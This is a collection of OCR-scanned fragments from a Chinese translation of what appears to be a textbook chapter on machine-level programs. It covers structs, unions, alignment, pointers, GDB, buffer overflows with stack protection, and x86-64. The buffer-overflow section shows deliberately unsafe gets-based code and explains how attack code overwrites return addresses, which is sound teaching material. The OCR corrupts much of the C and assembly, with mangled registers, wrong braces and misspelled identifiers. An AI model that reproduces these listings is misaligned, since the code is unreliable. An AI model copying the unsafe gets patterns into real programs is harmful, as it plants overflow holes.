    {"text": ". . ,• ' int t = rp->height; rp->height = rp->width; rp->width = t; • /* Shift to new lower—left corner */ : rp->llx -= t; > C++ 和 Java 的对象比 C 语言中的结构要复杂精细得多，因为它们将一组可以被调用来执行 计算的方法与一个对象联系起来。"},
    {"text": "' 这个结构包括4个字段 ——2 个4字节int、 1 个由3个4字节int组成的数组和 1 个4字节的 整型指针，总共是24个字节 ： 0 4 8 20 i J a[0] a[l] a [2] P\n可以观察到，数组a是嵌入到这个结构中的。"},
    {"text": ">i复制到元素 movl (°/ 0 edx), %eax Get r->i movl %eax, 4(%edx) Store in r->j. ,. .,.- 因为字段i的偏移量为 0 ,所以这个字段的地址就是r的值。"},
    {"text": "例如， 只要加上偏移量 8 + 4 X 1 = 12,就可以得到指针& (r->a [ 1 ]) 。 对于在寄存器%edx中的指针 r和在寄存器%eax中的整数变量i, ' 我们可以用一条指令产生指针& (r->a [i])的值： Registei's; r in %edx, i in %eax 1 • leal 8(%edx,%eax,4) , %eax Set %eax to &r->a[i] • . . .... . . ■ - • 最后举一个例子，下面的代码实现的是语句： • ； ： r->p = &r->a[r->i + r->j]; 开始时r在寄存器％edx中： movl 4(%edx), %eax Get r~>j addl (%edx), %eax Add r~>i i leal 8 (%edx, %eax, 4) , %eax Compute &r->a[r->i + r->j] movl °/ 0 eax, 20(%edx) Store in r~>p . ; 综上所述，结构的各个字段的选取完全是在编译时处理的。"},
    {"text": "P: next 这个结构总共需要多少字节? 编译器为sp_init的主体产生的汇编代码如下： sp at %ebp+S 1 movl 8(%ebp), %eax 2 movl 8(%eax), %edx 3 movl %edx, 4(%eax) A leal 4(%eax), %edx 5 movl %edx, (%eax) 6 movl %eax, 12(%eax) 根据这些信息， 填写sp_init代码中缺失的表达式。"},
    {"text": "考虑下面的声明： struct S3 { char c; int i [2]; double v; union U3 { char c; int i [2]; double v; 在一台IA32 Linux机器上编译时，字段的偏移量、数据类型S3和U3的完整大小如下： 类型 civ 大小 S3 0 4 12 20 U3 0 0 0 8 (稍后会解释S 3 中i的偏移量为什么为 4 而不是 1 ,而且我们还会讨论对于一台运行Microsoft Windows的机器为什么结果会不同。"},
    {"text": "一种应用情况是，我们事先知道对一个数据结构中的两个不同字段 的使用是互斥的，那么将这两个字段声明为联合的一部分，而不是结构的一部分，以减小分配空 间的总量。"},
    {"text": "例如，假设我们想实现一个二叉树的数据结构，每个叶子节点都有一个double类型的数 据值，而每个内部节点都有指向两个孩子节点的指针，但是没有数据。"},
    {"text": "如果声明如下：. struct NODE_S { struct NODE_S *left; struct NODE_S *right; double data; 那么每个节点需要16个字节，每种类型的节点都要浪费一半的字节。 如果我们声明一个节点如下: union N0DE.U { struct { union N0DE_U *left; union N0DE_U *right; } internal; double data; 那么，每个节点就只需要 8 个字节。"},
    {"text": "如果 n 是一个指针，指向union NODE *类型的节点，我 们用n->data来引用叶子节点的数据，而用r)->interna：!* • left和n->internal • right 来引用内部节点的孩子。"},
    {"text": "常 用的方法是引入一个枚举类型，定义这个联合中可能的不同选择，然后再创建一个结构 ， 包含一 个标签字段和这个联合： typedef enum { N_LEAF, N_INTERNAL > nodetype_t; struct NODE_T { nodetype_t type; union i struct { struct N0DE_T *left; struct N0DE_T *right; internal; double data; info; >；"},
    {"text": "例如，下面这段代码返回的是float作为 .. , .■ _ ■ ' 1 . I . . . . ■ ■ ''*■,： ■ unsigned的位表示： .、• ' • ' . * . . . ' • ^ .' I unsigned fXoat2bit(float f) union { .float f; •： ：. :. unsigned u; temp; temp . f = f; return temp . u; • ... ‘ ... * . - - - . • ' . ' . 1 ■ 在这段代码中 , 我们以一种数搪类型来存储联合中的参数 ， 又以另一种数据类齒来访问它。"},
    {"text": "有趣\n的是，为此过程产生的代码与为下面这个过程产生的代码是一样的： unsigned copy(unsigned u) { return u; } 这两个过程的主体只有一条指令： movl 8(%ebp),%eax 这就证明机器代码中缺乏类型信息。"},
    {"text": "例 如，假设我们写了一个过程，它以两个4字节的unsigned的位的形式，创建一个 8 字节的 double ： double bit2double(unsigned wordO, unsigned wordl) { union { double d; unsigned u[2]; } temp; 7 temp.u[0] = wordO; temp.u[l] = wordl; return temp.d; > 在IA32这样的小端法机器上 ， 参数wordO是d的低位4个字节 ， 而wordl是高位4个字 节。"},
    {"text": "你写了下面 的结构声明： typedef union { struct { short v; short d; int s; tl; struct { int a [2]; char *p; t2; u_type; 你写了一组具有下面这种形式的函数 ' ' void get(u_type *up, TYPE *dest) { *dest = EXPR; .> . - •这组函数有不一样的访问表达式EXPR，而且根据EXPR•的类型来设置目的数据类型TYPE。"},
    {"text": "EXPR TYPE Code up->tl.S int movl 4(%eax) , %eax movl %eax, (°/ 0 edx) up->tl. V &up->tl.d up->t2. a up->t2. a[up->tl.s] *up->t2.p 数据对齐 许多计算机系统对基本数据类型合法地址做出了一些限制，要求某种类型对象的地址必须是 某个值尺（通常是 2 、4或 8 )的倍数。"},
    {"text": "例如，假设一个处理器总是从存储器中取出 8 个字节，则地址必须为 8 的倍数。 如 果我们能保证将所有的double类型数据的地址对齐成 8 的倍数，那么就可以用一个存储器操 作来读或者写值了。"},
    {"text": "Linux沿用的对齐策略是， 2 字节数据类型（例如short)的地址必须是 2 的倍 数，而较大的数据类型（例如int、int*、float和double)的地址必须是4的倍数。"},
    {"text": "因此IA32的一个惯例是，确保每个栈帧的长度都是16字节的整数倍。 编译器就可以在栈 帧中以每个块的存储都是16字节对齐的方式来分配存储。"},
    {"text": "例如，3、 6 、7 节中的跳转表，汇编代码声明的第 2 行包含下面这样的命令： . align 4 这就保证了它后面的数据（在此，是跳转表的开始）的起始地址是4的倍数。"},
    {"text": "编译器在字段c和j之 间插入一个3字节的间隙（用阴影表示)，改后的图如下： 偏移 j 45 8 12 内容 i 土 j 结果，j的偏移量为 8 ,而整个结构的大小为 12 字节。"},
    {"text": "例如，考虑下面这个结构声明： struct S2 i char c; 如果我们将这个结构打包成9个字节，只要保证结构的起始地址满足4字节对齐要求，我们仍然 能够保证满足字段i和j的对齐要求。 不过，考虑下面的声明•• struct S2 d[4]; 分配9个字节，不可能满足d的每个元素的对齐要求，因为这些元素的地址分别为x d 、x d + 9、 jc d + 18和:c d + 27。 相反地，编译器会为结构S2分配12个字节，最后3个字节是浪费的空间： 偏移0 4 8 9 12 这样一来，d的元素的地址分别为;c d 、x d + 12 、〜+ 24和〜+ 36。"},
    {"text": "struct PI { int i; char c; int j; char d; }; struct P2 { int i; char c; char d; int j ; ， struct P3 { short w[3] ; char c[3] >; struct P4 { short w[3] ; char *c[3] struct P3 { struct PI a [2] ; struct P2 *p }; ®练习题3.42对于结构声明 struct { char > Ka short b double c char d float e char f long long g void ^ Kh > foo; 假设在Windows机器上编译它，这里每个尤字节的基本数摒类型的偏移量必须是尤的倍数。"},
    {"text": "以下面的指针声明为例： int *ip; char **cpp;\n变量ip是一个指向int类型对象的指针，而cpp指针指向的对象自身就是一个指向char 类型对象的指针。"},
    {"text": "例如，如果我们有一个函数，用下面这个原型定义： int fun(int x, int *p); 然后，我们可以声明一个指针fp,将它赋值为这个函数，代码如下： (int) (*fp) (int, int *); fp = fun; 然后用以下指针来调用这个函数： int y = 1; int result = fp(3, &y); 函数指针的值是该函数机器代码表示中第一条指令的地址。"},
    {"text": "因此，我们看到“（*f) ”表明，f是一个指针； 而“（*f) (int*) ”表明f是一个指向函数的指针，这个兩数以一个int*作为参数。 最后我们知道，它 是指向以int*为参数并返回int的函数的指针。"},
    {"text": "*f两边的括号是必需的，否则声明变成 int *f (int*); 它会被解读成 (int *) f(int*); 也就是说，它会被解释成一个函数原型，声明了一个函数f，它以一个int*作为参数并返回一 个 int*。"},
    {"text": "命令 效果 开始和停止 quit 退出 GDB run 运行程序（在此给出命令行参数） kill 停止程序 断点 break sum 在函数 sum 入口处设置断点 break *0x8048394 在地址 0x8048394 处设置断点 delete 1 删除断点 1 delete 删除所有断点 _ 执行 stepi 执行 1 条指令 stepi4 执行 4 条指令 nexti 类似于 stepi ,但是以函数调用为单位的 continue 继续执行 finish 运行直到当前函数返回 检查代码 disas 反汇编当前函数 disas sum 反汇编函数 sum disas 0x8048397 反汇编位于地址 0x8048397 附近的函数 disas 0x8048394 0x80483a4 反汇编指定地址范围内的代码 print /x $eip 以十六进制输出程序计数器的值 检査数据 print $eax 以十进制输出％ eax 的内容 print /x $eax 以十六进制输出％ eax 的内容 print /t $eax 以二进制输出％ eax 的内容 print 0x100 输出 0x100 的十进制表示 print /x 555 输出 555 的十六进制表示 print /x ($ebp+8) 以十六进制输出％ ebp 的内容加上 8 print *(int *) 0xfff076b0 输出位于地址 Oxf f f 076b0 的整数 print *(int *) ($ebp+8) 输出位于地址 ％ebp + 8 处的整数 x/2w 0xfff076b0 检查从地址 Oxf f f 0 7 6b0 开始的双（ 4 字节）字 x/20b sum 检查函数 sum 的前 20 个字节 有用的信息 info frame 有关当前栈帧的信息 info registers 所有寄存器的值 help 获取有关 GDB 的信息 图3-30 GDB命令示例。"},
    {"text": "说明了一些GDB支持机器级程序调试的方式 3.12 存储器的越界引用和缓冲区溢出 我们已经看到，C对于数组引用不进行任何边界检査，而且局部变量和状态信息（例如保存 的寄存器值和返回地址)，都存放在栈中。"},
    {"text": "下面这个程序示例就说明了 这个问题： /* Sample implementation of library function gets() */ char *gets(char *s) { int c; char *dest = s; int gotchar = 0; /* Has at least one character been read? */ while ((c = getcharO) != '\\n' && c != EOF) { B *dest++ = c; /氺 Wo bounds checking! 氺 / 9 gotchax = 1 ; 10 > *dest++ = 1 \\0 1 ; /* Terminate string 木 / if (c == EOF && 丨gotchar) return NULL; /* End of file or error 氺 / return s; > 16 /* Read input line and write it back */ void echoO { char buf[8]; /* Way too small! */ gets(buf); puts(buf); > . 前面的代码给出了库函数gets的一个实现，用来说明这个函数的严重问题。"},
    {"text": "：检查GCC为echo产生的汇编代码，看看栈是如何组织的： 1 echo: 2 pushl %ebp Save %ebp on stack 3 movl %esp, %ebp 4 pushl °/ 0 ebx Save %ebx 5 subl $20, %esp Allocate 20 bytes on stack 6 leal — -12(°/ 0 ebp), %ebx Compute buf as %ebp~i2 7 movl %ebx, (%esp) Store buf at top of stack 8 call gets Call gets 9 movl %ebx, (°/ 0 esp) Store buf at top stack 10 call puts Call puts 11 . addl $20, %esp .Deallocate stack space 12 popl . °/ 0 ebx .Restoire 7 0 ebx 13 popl %ebp Restore °/*ebp 14 ret Return ■\n去 20 来分配额外的 20 个字节的空间（第5行）。"},
    {"text": "随着字符串变长，下面的信息会被 破坏： 输入的字符数量 附加的被破坏的状态 0-7 无 8-11 保存的％ebx的值 12-15 保存的％ebp的值 16-19 返回地址 20+ caller中保存的状态. 如上表所示，破坏是累积的——随着字符数量的增加，破坏的状态越来越多。"},
    {"text": "根据影响状态 部分的不同，程序会出现以下几种不同的错误： •如果破坏了存储%ebx的值，那么在第 12 行这个寄存器就不能正确地恢复，因此虽然应该 由被调用者来保存好这个值，但是调用者也不能依靠这个寄存器的完整性。 •如果破坏了存储％ebp的值，那么在第13行这个寄存器就不能正确地恢复，因此调用者就 不能正确地引用它的局部变量或者参数。"},
    {"text": "调用者 的栈帧 返回地址 -%ebp 保存的％ebp 保存的％ebx\n[7] [6] [5] [4] [3] [ 2 ] [1] [0] buf echo 的栈帧\n图3-31 echo函数的栈组织。"},
    {"text": "当编译一个含有调用gets的文件时，C编译器甚至会产生这样的出错信息：“the gets function is dangerous and should not be used.” 不幸的是，很多常用的库函数， 包括strcpy、strcat和sprintf,都有一个属性* 不需要告诉它们目标缓冲区的大小， 就产生一个字节序列 [ 94 】。"},
    {"text": "1 /* This is very low-quality code. 2 It is intended to illustrate ba.d programming practices. 3 See Problem 3.43. */ 4 C char *getline() i J 6 \\ char buf[8]; 7 char *result ; 8 gets (buf); 9 result = malloc(strlen(buf )); 10 strcpy(result, buf) ; 11 return result; 12 > a) C 语言代码 i 080485c0 <getline>: 2 80485c0: 55 push %ebp 3 80485cl: 89 e5 mov 7 0 esp,%ebp 4 80485c3: 83 ec 28 sub $0x28,%esp 5 80485c6: 89 5d f4 mov %ebx, - Oxc(%ebp) 6 80485c9 : 89 75 f8 mov %esi,-0x8(%ebp) 7 80485cc: 89 7d fc mov %edi,-0x4(%ebp) Diagrcm stuck at this point 8 80485cf: 8d 75 ec lea -0x14(%ebp),%esi 9 80485d2: 89 34 24 mov %esi,(%esp) 10 80485d5: e8 a3 ff ff ff call 804857d <gets> Modify diagram to show stack contents at this point b)对gets调用的反汇编 图3-32练习题3.43的C和反汇编代码 ®练习题3.43图3-32是一个函数的（不太好的）实现，这个函数从标准输入读入一行,将字符串复 制到新分配的存储中，并返回一个指向结果的指针。"},
    {"text": "通常，输入给程序 一个字 符串， 这个字 符串包含一些 可执行代码的字节编码，称为攻 击代码 （exploit code),另外，还有一些字节会用一个指向攻击 代码的指针覆盖返回地址。"},
    {"text": "一 种是对FINGER守护进程fingerd的缓冲区溢出攻击, fingerd服务FINGER的命令请求。 通过以一个适当的字符串调用FINGER,蠕虫可以使远程 的守护进程缓冲区溢出并执行一段代码，让蠕虫访问远程系统。"},
    {"text": "对抗缓冲区溢出攻击 缓冲区溢出攻击的普遍发生，给计算机系统造成了许多的麻烦。 现代的编译器和操作系统已 经实现了很多机制，以避免遭受这样的攻击，限制入侵者通过缓冲区溢出攻击获得系统控制的方 式。"},
    {"text": "下面的代码是一种确定“典型的”栈地址的方法： int main() { int local; printf(\"local at %p\\n\", &local); return 0; > 这段代码只是简单地打印出main函数中局部变量的地址。"},
    {"text": "如果我们建立一个256个字节的nop sled,那么枚举2 15 =32 768个起始地址，就能破解 n = 2 23 的随机化，这对于一个顽固的攻击者来说，是完全可行的。"},
    {"text": "我们可以看到栈随机化和其他一些ASLR技术能够增 加成功攻击一个系统的难度，因而大大降低了病毒或者蠕虫的传播速度，但是也不能提供完全的 安全保障。"},
    {"text": "®练习题3.44在运行Linux版本2.6.16的机器上运行栈检查代码10 000次，我们获得地址的范围从最 小的 0xffffb754 到最大的 0xffffd754。"},
    {"text": "调用者 的栈帧 echo 的栈帧 < …' 、 A 返回地址 保存的 %ebp 保存的 %ebx 金丝雀 < [7] [6] [5] [4] [3] [2] [1] [0] -%ebp buf 20 21 22 图3-33. echo函数具有栈保护者的栈组织（在数组buf和保存的状态之间放了一个 特殊的“金丝雀”值，代码检查该值，确定栈状态是否被破坏） 最近的GCC版本会试着确定一个函数是否容易遭受栈溢出攻击，并且自动插入这种溢出检 测。"},
    {"text": "当不用这个选项来编译echo函数时，也就是允许使用栈保护者, 我们得到下面的汇编代码： echo: 17 pushl 0 /»ebp movl %esp, %ebp pushl %ebx subl $20， %esp movl °/ o gs:20, %eax Retrieve canary movl %eax, -8(%ebp) Store on stuck xorl %eax, %eax Zero out register leal -16(%ebp), %ebx Compute buf as %ebp~i 6 movl %ebx, (%esp) Store buf at top <: xf stack call gets Call gets movl %ebx, (%esp) Store huf at top c ?f stack call puts Call puts movl -8(%ebp), %eax Retrieve canary xorl %gs:20, %eax Compare to stored val u& je .L19 If , goto ok call __stack_chk_fail Stack corrupted! $20, %esp Normal return ... %ebx %ebp ,19: addl popl popl ret 这个版本的函数从存储器中读出一个值（第 6 行)，再把它存放在栈中相对于％eb P 偏移量 为- 8 的地方。"},
    {"text": "指令参数％gs : 20指明金丝雀值用段寻址（segmented addressing)从存储器中读 入，段寻址机制可以追溯到80286的寻址，而在现代系统上运行的程序中已经很少见到了。"},
    {"text": "int len(chax *s) { return strlen(s); > void iptoa(chaLr *s, int *p) int val = *p; sprintf(s, \"%d\", val); > int intlen(int x) { int v; char buf[12]; v = x; iptoa(buf, &v); return len(buf); > 下面是intlen的部分代码，分别由带和不带栈保护者编译： 不带保护者 1 subl $36, %esp 2 movl 8(%ebp), %eax 3 movl %eax, -8(%ebp) 4 leal -8(%ebp), %eax 5 movl 7»eax, 4(%esp) 6 leal -20(%ebp), %ebx 7 movl %ebx, (%esp) S call iptoa 带保护者 i subl $52, sp 2 movl %gs:20， ％eax 3 movl %eax, -8(%ebp) A xorl %eax, %eax 5 movl 8(°/ 0 ebp), %eax 6 movl %eax, -24(%ebp) 7 leal -24(%ebp), %eax 8 movl %eax, 4(%esp) 9 leal -20(%ebp), %ebx 0 movl %ebx, (7 0 esp) 1 call iptoa 对于两个版本：buf、v和金丝雀值（如果有的话）分别在栈帧中的什么位置？"},
    {"text": "网络旁注 ASM ： EASM 将 C 语言程序与汇编代码结合起来 虽然C编译器在将程序中表达的计算转换成机器代码方面，做得很好，但是仍然有一些机 器特性是C程序访问不了的。"},
    {"text": "在C语言中插入汇编代码有两种方法。 第一种方法是，可以写一个完整的函数作为一个独 立的汇编代码文件，然后让汇编器和链接器将这个文件与C语言写的代码结合起来。 第二种方 法是，使用GCC的内联汇编（inline assembly)的特性，可以用asm命令将一些简短的汇编代 码插入到C程序中。"},
    {"text": "当然在C程序中包括汇编代码使代码只能针对某一类的机器（比如IA32),因此只有当想 要的特性只能用这种方式才能访问时，才使用这种方法。"},
    {"text": "自从2006年以来，IA32是大多数Windows、Linux,甚至包括Macintosh计算机的平台选 择。 今天使用的IA32格式中的大部分是在1985年随着i386微处理器的出现所定义的，当时是 将原来8086的16位指令集扩展到了 32位。"},
    {"text": "例如，我们在3.6.6 节中看到，条件传送指令，是Intel在1995年引入的，比起更传统的条件分支，能够产生显著的 性能提升，但是在大多数的GCC配置中，都不会产生这样的指令。"},
    {"text": "我们假设读者已经熟悉了 IA32,从AMD和Intel如何进入到X86-64的一个简短的历史开 始，接着总结X86-64代码区别于IA32代码的主要特性，最后分别介绍每个特性。"},
    {"text": "现在，一个典型的 高端桌面系统有4GB RAM (增加了 512倍)，1TB磁盘存储（增加了 10 000倍)，大约4GHz时 钟，每秒运行大约50亿条指令（增加了 1250倍)。"},
    {"text": "考虑到这样大量的进步，世界上 大多数的计算机运行的代码还是与1985年的机器兼容的二进制代码，这就很奇特了（除非这些 机器没有足够的存储器来处理今天的操作系统和应用）。"},
    {"text": "Intel进入64位计算机领域打响的第一枪是Itanium处理器，它基一种全新的指令集，称 为“IA64”。 Intel —贯的策略是每次引入新一代微处理器时还荽维持后向兼容性，而这次不 同，IA64是基于与Hewlett-Packard —起开发的一种崭新的方法。"},
    {"text": "Itanium ■ • - . ' 1 . •. . 丨 . . ' ‘ ㊀机器的物理内存通常称为核心内存（core memory),那时候随机访问存储器的每一位都是用一个铁氧体磁芯 (magnetized ferrite core)来实现的。"},
    {"text": "在编译器方面，GCC的开发者坚定地保持与i386的二进制兼容性，即使是IA32指令集中 添加了有用的特性，包括条件传送和更现代的浮点指令只有以特殊的命令行选项设置编译 时，才会使用这些特性。 将转换到X86-64作为目标,向GCC提供了一个放弃后向兼容性的机 会，只用标准的命令行选项就能利用这些新特性。"},
    {"text": "本书用“IA32”指代基于Intel的机器上运行传统32位Linux版本时，硬件和GCC代码 的组合。 用“X86-64”指代在AMD和Intel的较薪的64位机器上运行的硬件和代码组合。 用 Linux和GCC的话来说，这两个平台分别称为“i386”和“x86-64”。 X86-64 简介 Intel和AMD提供的新硬件和以这些机器为目标的GCC新版本的组合，使得x86-64代码与 为IA32机器生成的代码有极大的不同。"},
    {"text": "实际上，大多数机器并不是真的支持完全地址范围——当前的AMD和Intelx86-64机 器只支持256TB (2 48 字节）虚拟存储器——但是为指针分配完全的64位，从长远的兼容性角度 来说，是个好主意。"},
    {"text": "C声明 Inte 擞据类型 汇编代码后缀 x86-64大小 (字节） IA32大小 char 字节 b 1 1 short 字 W 2 2 int 双字 1 4 4 long int 四字 q 8 4 long long int 四字 q 8 8 char * 四字 q 8 4 float 補度 s 4 4 double 舰度 d 8 8 long double 扩展精度 t 10/16 10/12 图3-34 X86-64的标准数据类型大小（与IA32比较，长整数和指针需 8 个字节，而IA32只需4个字节） 我们还看到前缀“long”将整数变成了 64位，可以表示的值的范围大了很多。"},
    {"text": "另外，只有较老的一 类浮点指令才支持long double数据类型，这类指令具有一些与众不同的属性（参见网络旁 注DATA:IA32-FP),而较新的SSE指令支持float和double数据类型。"},
    {"text": "只有需要扩展精度格 式提供的超出双精度格式的额外精度和范围的程序才应该使甩long double数据类型 ®练习题3.46 DRAM是实现微处理器的主存储器的存储器技术，如图6-17b所示，DRAM的开销从 1980年的每MB8000美元下降到了 2010年的大约0.06美元，每年大约下降1.48倍，或者每10年大 约下降51倍。"},
    {"text": "假设这种趋势无限地持续下去（这可能不太现实），而我们对机器存储器的预算大约是 1000美元，这样在1980年我们能为机器配置128KB的内存 ， 而在2010年，可以配置16.3GB。"},
    {"text": "C代码simple」 除了使用长整型之外类似于simple代码如下： long int simple_l(long int *xp, long int y) long int t = *xp + y; 氺xp = t; return t; > 在X86-64 Linux机器上以如下命令行运行GCC unix> gcc -01 -S -m32 code . c 它产生与任意IA32机器兼容的代码如下（我们为代码添加了注释以突出哪些指令是从存储器读 数据(R),而哪些指令是向存储器写数据（W)): IA32 impl ementati on of I miction simple—.1 , xp at %ebp+^, y at %ebp+jf2 1 siraple_l : 2 pushl %ebp Save frame pointer (W) 3 movl °/ 0 esp, %ebp Create new frame pointer 4 movl 8(%ebp), %edx Retrieve xp (R) 5 movl 12(%ebp), %eax Retrieve .y (R) 6 addl (%edx), %eax Add *xp to get t (R) 7 movl %eax, (%edx) Store t at xp (W) 8 popl %ebp Restore frame pointer (R) 9 ret Return (R) 当我们告诉GCC产生X86-64代码时 unix> gcc -01 -S 一 m64 code.c (大多数机器上不要求有标志_m64)我们得到非常不同的代码： x86-64 version of function simple 一 .1. xp in Xirdi , y in %rsi simple_l: movq %rsi, %rax Copy y addq (%rdi), %rax Add *xp movq %rax, (%rdi) Store t .5 ret Return 一些关键区别如下： •没有看到movl和addl指令，只看到movq和addq。"},
    {"text": "指针和声明为长整型的变量都是 64位（四字）而不是32位（长字）。 •我们看到64位的寄存器（例如％1仏和％1€11,而不是％631和％6七）。"},
    {"text": "这些改变导致的结果是：IA32代码由8条指令构成，要做7次存储器引用（5次读和2次 写），而X86-64代码由4条指令构成，要做3次存储器引用（2次读和1次写）。"},
    {"text": "在Intel Pentium 4E (Intel第一批支持x86-64的机器）上 运行，我们发现每次调用simple_l, IA32版本需要大约18个时钟周期，而X86-64版本只需 要12个时钟周期。"},
    {"text": "这就给了我们IA32中熟悉的那些寄存器：％eax、 %ecx、％edx、％ebx、％esi、％edi、％esp 和 ％ebp,以及 8 个新 32 位寄存器：%r 8 d〜％rl5d。"},
    {"text": "返回值 被调用者保存 第 4 个参数 第 3 个参数 第 2 个参数 第 1 个参数 被调用者保存 栈指针 第 5 个参数 第 6 个参数 调用者保存 调用者保存 被调用者保存 被调用者保存 被调用者保存 被调用者保存 •为了后向兼容性，具有单字节操作数的指令可以直接访问％rax、％rcx、％rdx和％rbx 的第二个字节。"},
    {"text": "63 31 15 8 7 0 ^ i '/by. ': 9 /»eax %ax °/.ah %al %rbx ^ L 、 ! . J .. .. ..' ^ A 人 ^ %ebx %bx | %bh 丨 ％bl | %ecx %cx | 7.ch | %cl | ;鱗蜱伊:- : (tv,, ” 广、： %edx 7.dx | # /.dh | %dl | — %esi # /,si %sil %rdi .1:1:: 夂 %edi %di %dil | %ebp %bp 1 Vobpl 1 • z ’一 - , KF. %esp */«sp 1 %sp「| y,s »■ r ^ %r8d %r8w %r8b %r9d %r9w =]r9[l —.... :: —;’w…'...... r * \\>* i r ^ * v. r i ' # /,rlOd %rlOw %rlld ! y,riiw 二 ‘二 L jrlOb | %rllb | ；"},
    {"text": "滅赖: %r 均 d %;rl3w %rl4d 7,rl4w %ri2b \"\"\"%rl3b 「％rl4b] - ' %rl5d〔 %rl5w | %rl5b J 图3-3:5.整数寄存器。"},
    {"text": "每个寄存器 都可以作为8位（字节)、16位（字)、32位（双字）或者64位（四字）来访问 同IA32—样/大多数寄存盔可以互换使用，但是有一些特殊情况。"},
    {"text": "大部分X86-64操作数指示符与IA32中的一样（参见图3-3),不同之处是基址寄存器和 变址寄存器指示符必须使用寄存器的‘r’版本（例如％rax),而不是它的‘e’版本。"},
    {"text": "除了 IA32的寻址方式外，它还支持一些PC相对（PC-relative)操作数寻址方式。 在IA32中，只 有对跳转和其他控制转移指令才能支持这种寻址方式（参见3.6.3节）。"},
    {"text": "下面的过程是一个PC相对数据寻址的示例，它调用前面看到过的simple一 1 函数： long int gvall = 567; long int gval2 = 763; long int call_simple_l() { long int z = simple_l(fegvall, 12L); return z + gval2; > 这段代码引用全局变量gvall和gval 2 。 当编译、汇编和链接这个函数时，我们得到下面 的可执行代码（由反汇编器objdump产生的）： 1 0000000000400541 <call_simple_l> 2 400541 be 0c 00 00 00 mov $0xc,%esi Load 12 as 2nd argument 3 400546 bf 20 10 60 00 mov $0x601020,%edi Load &gval1 as 1st argument 4 40054b e8 c3 ff ff ff callq 400513 <simple_l> Call simple—1 5 400550 48 03 05 dl 0a 20 00 add 0x200adl(%rip),%rax Add gval2 to result 6 400557 c3 retq Re tarn 第3行的指令将全局变量gvall的地址存放在寄存器％rdi中。"},
    {"text": "可能有些出乎意料，传送或者产生32位寄存器值的指令也会将寄存器的高32位设置为结果 就不需要指令movzlq。 类似地，当目的是寄存器时，指令movzbq与movzbl有完全一^样的 行为——将目的寄存器的高56位设置为0。 这条指令与那些产生8位或者16位值的指令（例如 movb)不同，那些指令不会改变寄存器中的其他位。"},
    {"text": "指 令 效果 描述 movabsq hR R^-I 传送绝对四字 MOV S，D D^S movq 传送四字 MOVS S,D D — SignExtend ⑶ 符号扩展微 movsbq 符号扩展字节传送四字 movswq 符号扩展字传送四字 movslq 符号扩展双字传送四字 MOVZ S,D D — ZeroExtend(5) 零扩展传送 movzbq 零扩展字节传送四字 movzwq 零扩展字传送四字 pushq S R[%rsp] — R[%rsp] - 8; M[R[°/ 0 rsp]] — S 进找四字 popq D D — M[R[°/ 0 rsp]]; R[°/ 0 rsp] — R[%rsp] + 8 出栈四字 图3-36数据传送指令。"},
    {"text": "有 些指令要求目的是寄存器（用及表示)，而其他的指令允许用寄存器或存储器作为目的（用 D表示） _练习题3.47下面的C函数将类型为src_t的参数转换成类型dst_t并返回，这里两种类型用 typedef 定义： dest_t cvt(src_t x) dest_t y = (dest_t) x; return y; > 假设参数x存放在寄存器％rdi的某个适当命名的部分（即％rdi、％edi、％di或者％dil),假设使 用某种形式的数据传送指令来执行这个类型转换，并将这个值复制到寄存器％rax的某个适当命名的 部分。"},
    {"text": "D %rax dest_t long long long unsigned long unsigned long int unsigned src_t long int char unsigned int unsigned char long unsigned long %rdi movq\n算术指令 在图3-7中，我们列出了许多算术和逻辑指令，用类名（例如“ADD”）来表示针对不同操 作数大小的指令，例如addb (字节)、addw (字）和addl (长字)。"},
    {"text": "当不同大小的操作数混合在一起时，GCC必须选择正确的算术指令、符号扩展和零扩展的 组合。 这些指令的组合依赖于类型转换和对不同操作数大小的指令的行为。"},
    {"text": "下面的C函数就说 明了这一点： long int gfun(int x, int y) { long int tl = (long) x+y; /* 64-bit addition 氺 / long int t2 = (long) (x+y); /氺32-bit addition */ return tl I t2; 假定整数是32位的，长整数是64位的，这个函数中的两个加法先后进行。"},
    {"text": "这个函数的汇编代码如下所示： . gfun: x in %rdi, y in %rsi leal (%rsi ,%rdi) , %eax Compute t2 as 32~b.it sum of x and y cltq is equivalent to movslq Xeax,Xrax cltq Sign extend to 64 bits movslq %esi,%rsi Convert y to long movslq %edi, °/ 8 rdi Convert x to long addq %rdi, %rsi Compute tl (64-bi t addi ti on) orq %rsi, %rax Set tl ! t2 as return value ret Return 局部变量t 2 使用leal指令（第 2 行）来计算 ， 用的是32位算术运算。"},
    {"text": "然后再用cltq 指令符号扩展到64位，我们会看到cltq是一条特殊的指令，等价于执行指令movslq %eax / %rax 0 第4〜5行的movslq指令取参数的低32位，并且在同一寄存器将它们符号扩展 至64位。"},
    {"text": "练习题3_48 C函数arithprob有参数a、b、c和d,主体如下： return a*b + c*d; 编译得到如下x86-64代码： 1 arithprob: 2 movslq %ecx,%rcx 3 imulq %rdx, %rcx A movsbl %sil,%esi 5 imull %edi, %esi 6 movslq %esi,%rsi 7 leaq (%rcx,%rsi), %rax 8 ret 参数和返回值都是长度不同的有符号整数。"},
    {"text": "指令 效果 描述 imulq S mulq S cltq cqto idivq S divq S R[%rdx]:R[%rax] <r- S x R[%rax] R[%rdx]:R[%rax] <- S x R[%rax] R[%rax] — SignExtend(R[%eax]) R[°/ordx]:R[%rax] — SignExtend(R[ 0 / 0 rax]) R[%rdx] — R[%rdx]:R[°/ 0 rax] mod 5; R[%rax] R[%rdx]:R[%rax] + S R[%rdx] — R[7 0 rdx]:R[%rax] mod S; R[%rax] — R[°/ 0 rdx]:R[7 0 rax] + S 有符号全乘法 无辟全乘法 将9^3父转换成四字 转换成八字 有符号齡 无符号除法 图3-37特殊的算术运算。"},
    {"text": "GCC既使用条件数据传送，也使用条件控制转移，因为所有的X86-64机器都支持条件 传送O 指令 根据 描述 CMP S 2 , 5*! cmpq TEST S 2f Si testq S\\ & S 2 比较 比较四字 测试 测试四字 图3-38 64位的比较和测试指令。"},
    {"text": "这些指令设置条件代码但是不改变其他寄存器 为了说明IA32和X86-64代码的相似性，考虑用while循环实现的整数阶乘函数（图 3-15)编译后产生的汇编代码，如图3-39所示。"},
